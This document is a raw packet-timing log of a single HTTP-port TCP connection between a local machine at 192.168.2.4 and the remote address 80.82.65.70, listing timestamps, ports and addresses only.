Dec 10, 2024 04:49:46.525902033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.525924921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.525940895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.526696920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.526740074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.526742935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.526782990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.527537107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.527605057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.527681112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.527728081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.528387070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.528507948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.528549910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.529262066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.529308081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.529313087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.529360056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.530060053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.530076981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.530106068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.530117989 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.530916929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.530958891 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.530965090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.530997992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.531728029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.531774044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.531841993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.531883001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.532609940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.532701015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.532743931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.533446074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.533492088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.533524036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.533571005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.534313917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.534359932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.534365892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.534405947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.535144091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.535192966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.535239935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.535240889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.535928011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.535973072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.536048889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.536144018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.536798000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.536840916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.536926031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.537005901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.537631035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.537674904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.537847042 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.538022041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.538449049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.538563967 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.538603067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.538603067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.539360046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.539407015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.539452076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.595954895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.596153975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.596165895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.596290112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.596298933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.596333981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.596337080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.596383095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.597089052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.597135067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.597193956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.597244978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.597945929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.597991943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.598026037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.598077059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.598809958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.598860979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.598943949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.598989964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.599631071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.599647999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.599670887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.599692106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.600502968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.600548983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.600606918 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.600651026 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.601349115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.601401091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.601401091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.601450920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.602226019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.602242947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.602268934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.602294922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.602971077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.603066921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.603086948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.603132010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.603833914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.603852987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.603940964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.604634047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.604764938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.604796886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.604815006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.605492115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.605602026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.605648994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.606347084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.606399059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.632443905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.632528067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.632544994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.632594109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.632814884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.632860899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.632936954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.632980108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.633831978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.633873940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.633946896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.633991003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.634466887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.634510994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.634599924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.634644032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.635298014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.635344028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.635445118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.635487080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.636185884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.636229992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.636290073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.636337996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.637007952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.637056112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.637092113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.637126923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.637809038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.637860060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.637891054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.637934923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.638711929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.638760090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.638823032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.638986111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.639477968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.639555931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.639616966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.639662027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.640347958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.640403986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.640439034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.640482903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.641208887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.641355991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.641400099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.642023087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.642066002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.642067909 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.642107964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.642817020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.642863989 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.710365057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.710428953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.710469961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.710521936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.710751057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.710797071 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.710956097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.710998058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.711560011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.711602926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.711693048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.711740017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.712395906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.712599993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.712637901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.713255882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.713319063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.713362932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.713407993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.714082956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.714128971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.714209080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.714252949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.714936018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.715017080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.715054989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.715101957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.715769053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.715856075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.715883017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.715926886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.716599941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.716692924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.716696978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.716727972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.717422962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.717514992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.717534065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.717570066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.718269110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.718343019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.718374014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.718416929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.719104052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.719203949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.719245911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.719934940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.719981909 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.720027924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.720072031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.720813990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.720864058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.720895052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.720940113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.721612930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.721657991 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.721709013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.721748114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.722440004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.722481012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.722546101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.722587109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.723352909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.723396063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.723428965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.723474979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.724149942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.724196911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.724208117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.724252939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.724999905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.725050926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.725086927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.725136995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.725833893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.725881100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.725922108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.725960970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.726676941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.726726055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.726762056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.726797104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.727490902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.727536917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.727720022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.727813959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.728343964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.728384972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.728427887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.728470087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.729212046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.729254961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.729312897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.729355097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.730021954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.730103970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.730149984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.730849981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.730896950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.731003046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.731045961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.731694937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.731736898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.731777906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.731822014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.788140059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.788208008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.788227081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.788250923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.788522005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.788567066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.788614988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.788664103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.789351940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.789433002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.789485931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.789530993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.790214062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.790268898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.790335894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.791040897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.791094065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.791160107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.791208982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.791862965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.791908979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.791975975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.792031050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.792711020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.792762041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.792829990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.792885065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.793550968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.793615103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.793652058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.793699980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.794394970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.794461966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.794538021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.794584990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.795216084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.795300961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.795356035 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.795404911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.796061039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.796111107 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.796200037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.796242952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.796926975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.796982050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.797084093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.797132969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.797794104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.797843933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.797903061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.798626900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.798700094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.824922085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.824949980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.825035095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.825227976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.825339079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.825376987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.825376987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.826066971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.826147079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.826173067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.826214075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.826914072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.826975107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.826988935 CET	49730	80	192.168.2.4	80.82.65.70
